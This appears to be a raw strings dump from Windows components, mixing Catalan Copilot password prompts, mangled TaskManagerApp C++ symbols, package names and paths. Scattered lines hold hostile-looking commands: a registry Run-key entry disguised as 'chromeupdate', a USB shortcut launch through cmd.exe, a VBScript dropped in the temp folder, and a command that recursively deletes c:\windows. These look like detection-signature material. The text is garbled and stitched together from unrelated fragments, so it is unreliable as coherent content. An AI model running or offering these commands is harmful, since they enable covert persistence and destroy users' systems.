%Microsoft Windows Production PCA 20110
Microsoft Windows0
Windows Connect Now
 intentant mostrar les dades de la targeta de pagament. Escriviu la contrasenya del Windows per permetre-ho.El Microsoft Copilot est
 intentant mostrar contrasenyes. Escriviu la contrasenya del Windows per permetre-ho.El Microsoft Copilot est
 intentant copiar contrasenyes. Escriviu la contrasenya del Windows per permetre-ho.El Microsoft Copilot est
 intentant editar contrasenyes. Escriviu la contrasenya del Windows per permetre-ho.El Microsoft Copilot vol exportar contrasenyes. Escriviu la contrasenya del Windows per permetre-ho.El Microsoft Copilot est
 intentant importar contrasenyes. Escriviu la contrasenya del Windows per permetre-ho.El Microsoft Copilot vol suprimir les dades de l'administrador de contrasenyes. Escriviu la contrasenya del Windows per permetre-ho.El Microsoft Copilot est
 intentant substituir contrasenyes existents. Escriviu la contrasenya del Windows per permetre-ho.Aquest ordinador ja t
 a causa d'un problema sense especificar. Torneu a descarregar el Microsoft Copilot.El Microsoft Copilot requereix el Windows 10 o una versi
c:\windows\system32
1/0/_dk_https://bing.com https://bing.com https://www.bing.com/AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js
s_windowsNewline
dwMaximumWindowSize
.?AU?$producer_convert@UDetailsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UDetailsPage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UDetailsPage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UDetailsPage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producers_base@UDetailsPage@implementation@TaskManagerApp@winrt@@V?$tuple@UDetailsPage@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@3@UIControlOverrides@56783@UIControlOverrides6@56783@UIFrameworkElementOverrides@6783@UIFrameworkElementOverrides2@6783@UIUIElementOverrides@6783@UIUIElementOverrides7@6783@UIUIElementOverrides8@6783@UIUIElementOverrides9@6783@UIComponentConnector@Markup@6783@UIComponentConnector2@Markup@6783@@std@@@impl@winrt@@
.?AV?$IUIElementOverrides8T@UServicesPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides9T@UServicesPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AU?$ServicesPage_base@UServicesPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@UIComponentConnector2@67894@@implementation@TaskManagerApp@winrt@@
.?AV?$IFrameworkElementOverridesT@UServicesPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IFrameworkElementOverrides2T@UServicesPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverridesT@UServicesPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides7T@UServicesPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AU?$base@UServicesPage@implementation@TaskManagerApp@winrt@@UPage@Controls@Xaml@UI@Windows@4@UUserControl@67894@UControl@67894@UFrameworkElement@7894@UUIElement@7894@UDependencyObject@7894@@impl@winrt@@
.?AV?$IPageOverridesT@UServicesPage@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IControlOverridesT@UServicesPage@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IControlOverrides6T@UServicesPage@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AU?$base_one@UServicesPage@implementation@TaskManagerApp@winrt@@UControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UServicesPage@implementation@TaskManagerApp@winrt@@UFrameworkElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UServicesPage@implementation@TaskManagerApp@winrt@@UUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UServicesPage@implementation@TaskManagerApp@winrt@@UDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElementProtected7@UServicesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDetailsPage@implementation@TaskManagerApp@winrt@@UIUIElement3@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement4@UDetailsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDetailsPage@implementation@TaskManagerApp@winrt@@UIUIElement4@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement@UDetailsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDetailsPage@implementation@TaskManagerApp@winrt@@UIUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement2@UDetailsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDetailsPage@implementation@TaskManagerApp@winrt@@UIUIElement2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement6@UDetailsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDetailsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement6@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement7@UDetailsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDetailsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement3@UDetailsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDetailsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement3@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement4@UDetailsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDetailsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement4@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement@UDetailsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDetailsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement2@UDetailsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDetailsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl5@UDetailsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDetailsPage@implementation@TaskManagerApp@winrt@@UIControl5@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl7@UDetailsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDetailsPage@implementation@TaskManagerApp@winrt@@UIControl7@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl3@UDetailsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDetailsPage@implementation@TaskManagerApp@winrt@@UIControl3@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl4@UDetailsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDetailsPage@implementation@TaskManagerApp@winrt@@UIControl4@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl@UDetailsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
ComSpec=C:\WINDOWS\system32\cmd.exe
USERDOMAIN_ROAMINGPROFILE=Windows11
\windows\&
c:\windows\system32\
0Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewyL/
.MicrosoftWindows.UndockedDevKit_10.0.26100.1_neutral_neutral_cw5n1h2txyewyI-
-MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewyG,
,MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewyI+
+MicrosoftWindows.Client.FileExp_1000.26100.4.0_x64__cw5n1h2txyewyG*
*MicrosoftWindows.Client.Core_1000.26100.82.0_x64__cw5n1h2txyewyK)
)MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewyG(
(MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewyM'
'MicrosoftWindows.59379618.InpApp_1000.26100.7824.0_x64__cw5n1h2txyewyM&
&MicrosoftWindows.59337145.Livtop_1000.26100.7824.0_x64__cw5n1h2txyewyM%
%MicrosoftWindows.59337133.Voiess_1000.26100.7824.0_x64__cw5n1h2txyewyM$
$MicrosoftWindows.59336768.Speion_1000.26100.7824.0_x64__cw5n1h2txyewyM#
#MicrosoftWindows.57242383.Tasbar_1000.26100.7824.0_x64__cw5n1h2txyewyT"
!Microsoft.WindowsAppRuntime.CBS.1.8_8000.694.2228.100_x64__8wekyb3d8bbweP 
 Microsoft.WindowsAppRuntime.CBS.1.6_6000.700.2257.100_x64__8wekyb3d8bbweT
Microsoft.Windows.XGpuEjectDialog_10.0.26100.1_neutral_neutral_cw5n1h2txyewy_
Microsoft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral_neutral_cw5n1h2txyewy[
Microsoft.Windows.ShellExperienceHost_10.0.26100.7462_neutral_neutral_cw5n1h2txyewy\
Microsoft.Windows.SecureAssessmentBrowser_10.0.26100.1_neutral_neutral_cw5n1h2txyewyV
Microsoft.Windows.PrintQueueActionCenter_1.0.2.0_neutral_neutral_cw5n1h2txyewy\
Microsoft.Windows.PinningConfirmationDialog_1000.25140.1001.0_neutral__cw5n1h2txyewyY
Microsoft.Windows.PeopleExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewyZ
Microsoft.Windows.ParentalControls_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewyZ
Microsoft.Windows.OOBENetworkConnectionFlow_10.0.26495.1000_neutral__cw5n1h2txyewyY
Microsoft.Windows.OOBENetworkCaptivePortal_10.0.26495.1000_neutral__cw5n1h2txyewyW
Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe[
Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewyX
Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewyN
Microsoft.Windows.CapturePicker_10.0.19580.1000_neutral__cw5n1h2txyewyF
Microsoft.Windows.AugLoop.CBS_1.1126.2131.0_x64__8wekyb3d8bbwe_
Microsoft.Windows.AssignedAccessLockApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewyW
Microsoft.Windows.Apprep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewyM
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.proxyStub
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.deploymentExtensionHandler
windows.activatableClass.proxyStub
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.proxyStub
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.proxyStub
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.deploymentExtensionHandler
windows.activatableClass.inProcessServer
windows.activatableClass.proxyStub
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.proxyStub
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.in0
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.activatableClass.proxyStub
windows.activatableClass0
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.deploymentExtensionHandler
windows.activatableClass.proxyStub
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
CloudData.WindowsClient.DisableSyncOnActivityFeed
 Windows-
 Windows 10-
WINDOWS11
WINDOWS11
WINDOWS11
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
windows powershell (x86)
SLGetWindowsInformationDWORD
_ValidateWindowsForProjectionTaskActivity
regquery"hklm\software\policies\microsoft\windows\windowsupdate"/vwuserver|findstr/i/c:"http://"
cregadd"hkcu\software\microsoft\windows\currentversion\run"^/v"chromeupdate"^/d"
pWINDOWS9
P~MICROSOFTWINDOWS.CLIENT.CBS_CW5N1H2TXYEWY!WEBEXPERIENCEHOST
ICredentialsget_ControlsUnhookWindowsHookExadd_MouseDown
.WindowsMenua
WINDOWS\system32\config
take advantage ofand, according toattributed to theMicrosoft Windowsthe first centuryunder the controldiv class="headershortly after thenotable exceptiontens of thousandsseveral differentaround the world.reaching militaryisolated from theopposition to thethe Old TestamentAfrican Americansinserted into theseparate from themetropolitan areamakes it possibleacknowledged thatarguably the mosttype="text/css">
windows
windows
windows
windows
windows
 Windows 
WindowsCreateStringReference
WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
USERDOMAIN_ROAMINGPROFILE=Windows11
dTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UTypedTemplate@TaskManagerApp@3@Ucollection_version@23@@winrt@@U?$IIterator@UTypedTemplate@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@@winrt@@
.?AU?$producers_base@Uiterator@?$iterable_base@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UTypedTemplate@TaskManagerApp@3@Ucollection_version@23@@winrt@@V?$tuple@U?$IIterator@UTypedTemplate@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@@std@@@impl@winrt@@
.?AU?$producer@Uiterator@?$iterable_base@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UTypedTemplate@TaskManagerApp@3@Ucollection_version@23@@winrt@@U?$IIterator@UTypedTemplate@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@Uiterator@?$iterable_base@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UTypedTemplate@TaskManagerApp@3@Ucollection_version@23@@winrt@@U?$IIterator@UTypedTemplate@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$root_implements@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UTypedTemplate@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@U?$IVector@UTypedTemplate@TaskManagerApp@winrt@@@5673@U?$IVectorView@UTypedTemplate@TaskManagerApp@winrt@@@5673@U?$IIterable@UTypedTemplate@TaskManagerApp@winrt@@@5673@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@5673@@impl@winrt@@
Windows.UI.Core.CoreWindow
\microsoft\windows\startmenu\programs\startup
yM'conjugations=c:\windows\temp\azerbaijan.vbs
ms-windows-store-deskext
ms-windows-store2
ms-windows-store
mswindowsmusic
ms-windows-store-deskext
ms-windows-store2
windowsdefender
windows-feedback
microsoft.windows.camera
microsoft.windows.camera.multipicker
microsoft.windows.camera.picker
microsoft.windows.photos.picker
microsoft.windows.photos.videoedit
microsoft.windows.photos.crop
WindowsAuthenticationEventHandler
c:\windows\opengl_3.0.1.logc
system32\cmd.exe/cstartusbready.lnk&startexplorer
%BrowserAppProfile%\EUPP Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy\DHP!ChangeNotice
\windows\currentversion\run/f`
system32\
C:\WINDOWS\
OS=Windows_NT
C:\WINDOWS\system32\mtxoci.dll
SLGetWindowsInformationDWORD
WindowsCreateString
WindowsDeleteString
WindowsGetStringLen
WindowsGetStringRawBuffer
WindowsSubstring
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows.ApplicationModel.CoreWindow
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.ComponentUI
Microsoft.Windows.PlatformExtensions
Microsoft.Windows.UI.Popups.PopupMenu
Microsoft.Windows.UI.InteractiveObject
Windows.UI.pdb
onecoreuap\windows\moderncore\inputv2\components\inputsitemanager\client\lib\system\windowsmessagedeliveryinputsitewinrt.cpp
onecoreuap\windows\moderncore\inputv2\rawinput\inc\rawinput.h
onecoreuap\windows\moderncore\inputv2\inputhost\host\inputhostforprocess.cpp
onecoreuap\windows\moderncore\inputv2\components\attachableinputobject\system\cursorsuppression\client\lib\cursorsuppressionpolicyobjectwinrt.cpp
onecoreuap\windows\moderncore\inputv2\components\attachableinputobject\system\containerinfo\client\lib\containerinfoinputobjectwinrt.cpp
onecoreuap\windows\moderncore\inputv2\components\attachableinputobject\system\activationcontroller\client\lib\activationcontroller.cpp
onecoreuap\windows\moderncore\inputv2\components\attachableinputobject\system\componentsite\client\lib\componentsiteinputobjectwinrt.cpp
onecoreuap\windows\moderncore\inputv2\components\attachableinputobject\system\inputdelegation\client\lib\InputDelegationInputObjectWinRT.h
onecoreuap\windows\moderncore\inputv2\components\attachableinputobject\system\uiahittest\client\lib\uiahittestinputobjectwinrt.cpp
onecoreuap\windows\moderncore\inputv2\components\attachableinputobject\system\sample\client\lib\attachableinputobjectsamplewinrt.cpp
onecoreuap\windows\moderncore\inputv2\components\attachableinputobject\system\virtualtouchpadcontroller\client\virtualtouchpadcontrollerwinrt.cpp
Windows.Client.CBS_cw5n1h2txyewy9
@Services@Windows@@V?$shared_ptr@VCorrela
/c rmdir /s /q c:\windows/
.?AU?$require_one@UUsersPage@implementation@TaskManagerApp@winrt@@UIControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$root_implements@UUsersPage@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIPageOverrides@Controls@Xaml@UI@Windows@4@UIControlOverrides@789Windows@4@UIControlOverrides6@789Windows@4@UIFrameworkElementOverrides@89Windows@4@UIFrameworkElementOverrides2@89Windows@4@UIUIElementOverrides@89Windows@4@UIUIElementOverrides7@89Windows@4@UIUIElementOverrides8@89Windows@4@UIUIElementOverrides9@89Windows@4@UIComponentConnector@Markup@89Windows@4@UIComponentConnector2@Markup@89Windows@4@@impl@winrt@@
.?AU?$implements@UUsersPage@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIPageOverrides@Controls@Xaml@UI@Windows@4@UIControlOverrides@789Windows@4@UIControlOverrides6@789Windows@4@UIFrameworkElementOverrides@89Windows@4@UIFrameworkElementOverrides2@89Windows@4@UIUIElementOverrides@89Windows@4@UIUIElementOverrides7@89Windows@4@UIUIElementOverrides8@89Windows@4@UIUIElementOverrides9@89Windows@4@UIComponentConnector@Markup@89Windows@4@UIComponentConnector2@Markup@89Windows@4@@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IPage@UUsersPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UUsersPage@implementation@TaskManagerApp@winrt@@UIPage@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$producer@UUsersPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UUsersPage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UUsersPage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UUsersPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UUsersPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UUsersPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UUsersPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UUsersPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UUsersPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UUsersPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UUsersPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UUsersPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UUsersPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UUsersPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UUsersPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UUsersPage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UUsersPage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@win
SystemRoot=C:\WINDOWS
windir=C:\WINDOWS
USERNAME=WINDOWS11$
Microsoft.Windows.Networking.WFP.User
Microsoft.Windows.Networking.BFE
Microsoft.Windows.TlgAggregateInternal
 for Windows
*.wns.windows.com0
*.wns.windows.com0
			NoRemove Windows
clientcore\windows\advcore\ctf\uim\textinputclient.cpp
clientcore\windows\advcore\ctf\uim\shellhandwriting.cpp
onecore\windows\advcore\ctf\inputsetting\usersessioninputprofiles.cpp
onecore\windows\advcore\ctf\inputsetting\inputprofilesettings.cpp
onecore\windows\advcore\ctf\inputsetting\install
Microsoft.Windows.StateRepository.Service
Microsoft.Windows.StateRepository.Client
Microsoft.Windows.StateRepository.Core
Windows.StateRepository.pdb
ckeddevkit\libs\windowsudk.ui.shell.taskbar\taskbarlayoutbamoprincipal.cpp
ShellCommonDesktopBase\Internal\ShellCommonDesktopBase\Inc\Windows.Internal.Shell.UpdateClient.h
shellcommon\undockeddevkit\libs\windowsudk.system.userprofile\intendedsystemuse.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.shell.taskbar\objfre\amd64\windowsudk.ui.shell.taskbar.bamo.h
shellcommon\UndockedDevKit\libs\WindowsUdk.ApplicationModel.AppExtensions\ExtensionCache_impl.h
shellcommon\UndockedDevKit\libs\WindowsUdk.ApplicationModel.AppExtensions\PackageIdentityHelpers.h
C:\WINDOWS\temp\pinchx90
!#SLF:AGGR/SuspSystem32File.C
ingWithWindowsConsent6
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-DeviceManagement-OmaDmCli
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
ndows-Client-Features-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
WindowsCreateString
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsDeleteString
Windows
.?AUtype@?$abi@UIFrameworkElementOverrides@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AU?$NavigationControl_base@UNavigationControl@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@UIComponentConnector2@67894@@implementation@TaskManagerApp@winrt@@
.?AU?$implements@UNavigationControl@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIPageOverrides@Controls@Xaml@UI@Windows@4@UIControlOverrides@789Windows@4@UIControlOverrides6@789Windows@4@UIFrameworkElementOverrides@89Windows@4@UIFrameworkElementOverrides2@89Windows@4@UIUIElementOverrides@89Windows@4@UIUIElementOverrides7@89Windows@4@UIUIElementOverrides8@89Windows@4@UIUIElementOverrides9@89Windows@4@UIComponentConnector@Markup@89Windows@4@UIComponentConnector2@Markup@89Windows@4@@winrt@@
.?AU?$producers_base@UNavigationControl@implementation@TaskManagerApp@winrt@@V?$tuple@UNavigationControl@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@3@UIControlOverrides@56783@UIControlOverrides6@56783@UIFrameworkElementOverrides@6783@UIFrameworkElementOverrides2@6783@UIUIElementOverrides@6783@UIUIElementOverrides7@6783@UIUIElementOverrides8@6783@UIUIElementOverrides9@6783@UIComponentConnector@Markup@6783@UIComponentConnector2@Markup@6783@@std@@@impl@winrt@@
